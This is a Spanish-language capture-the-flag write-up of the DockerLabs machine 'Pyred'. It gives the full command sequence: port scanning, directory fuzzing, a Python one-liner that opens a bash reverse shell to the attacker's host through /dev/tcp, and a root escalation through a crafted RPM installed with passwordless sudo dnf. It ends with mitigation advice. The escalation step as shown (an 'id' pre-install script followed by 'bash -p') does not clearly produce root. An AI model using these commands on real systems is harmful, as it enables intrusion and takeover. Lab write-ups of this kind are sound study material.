Pyred
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Pyred, desarrollada por El Pingüino de Mario para la plataforma DockerLabs, clasificada con una dificultad Media.
El laboratorio expone una aplicación web accesible a través del puerto 5000, la cual implementa un intérprete de Python accesible desde el navegador sin ningún tipo de control, validación o sanitización de entrada. Esta mala configuración permite la ejecución arbitraria de código, lo que conduce directamente a la obtención de una reverse shell.
Tras el acceso inicial, se identifica una configuración insegura de privilegios sudo, que permite ejecutar el gestor de paquetes dnf como root, facilitando una escalada de privilegios directa hasta obtener control total del sistema.
Todo el proceso se realizó dentro de un entorno controlado con fines estrictamente educativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Pyred |
| Autor | El Pingüino de Mario |
| Dificultad | Medio |
| Fecha | 26/06/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Paso 0 — Despliegue y preparación
Sección titulada «Paso 0 — Despliegue y preparación»Se descomprime la máquina y se despliega utilizando el script proporcionado:
unzip Pyred.zipsudo bash auto_deploy.sh Pyred.tarUna vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:
mkdir -p Pyred/{content,exploits,nmap,scripts}cd PyredPaso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsEl resultado muestra un único servicio accesible externamente:
- 5000/tcp — HTTP (Aplicación web)

1.2 Enumeración web
Sección titulada «1.2 Enumeración web»Se realiza fuzzing de rutas y archivos sobre el servicio web:
feroxbuster -u http://172.17.0.2 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js -t 100 -C 404No se identifican rutas adicionales relevantes. El recurso index expone directamente un intérprete de Python en línea, accesible sin autenticación:

Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Se verifica inicialmente el correcto funcionamiento del intérprete ejecutando una instrucción básica:
print("test")El resultado confirma que el código es ejecutado directamente en el servidor. Se observa que no existe ningún tipo de sanitización o restricción, lo que permite ejecutar comandos del sistema.
Se prepara un listener en la máquina atacante:
nc -nlvp 443A continuación, se ejecuta una reverse shell desde el intérprete web:
import os;os.system("bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/443 <&1'")La conexión entrante se establece correctamente, obteniendo una shell remota:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De usuario comprometido → root
Sección titulada «3.1 De usuario comprometido → root»Se enumeran los privilegios sudo disponibles:

El resultado indica que el usuario puede ejecutar el binario dnf como root sin necesidad de contraseña.
Para abusar de esta configuración, se crea un paquete RPM malicioso en la máquina atacante:
TF=$(mktemp -d)echo 'id' > $TF/x.shfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TFEsto genera el archivo:
x-1.0-1.noarch.rpmEl archivo es transferido a la máquina víctima y posteriormente instalado con privilegios elevados:
sudo dnf install -y x-1.0-1.noarch.rpmFinalmente, se invoca una shell privilegiada:
bash -pObteniendo acceso como root:

Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Intérprete de Python expuesto sin restricciones | Crítica | Ejecución remota de comandos |
| Ausencia total de validación de entrada en la aplicación web | Crítica | Compromiso completo del sistema |
| Servicio accesible sin autenticación | Alta | Acceso no autorizado |
Configuración insegura de sudo sobre dnf | Crítica | Escalada directa de privilegios |
| Instalación de paquetes sin validación de integridad | Alta | Ejecución de código como root |
Recomendaciones de Mitigación
Sección titulada «Recomendaciones de Mitigación»- Eliminar intérpretes de lenguajes expuestos en entornos de producción.
- Implementar controles estrictos de validación y sanitización de entradas.
- Restringir el acceso a aplicaciones administrativas mediante autenticación.
- Limitar el uso de
sudoúnicamente a comandos estrictamente necesarios. - Auditar regularmente los binarios permitidos por
sudoy su posible abuso.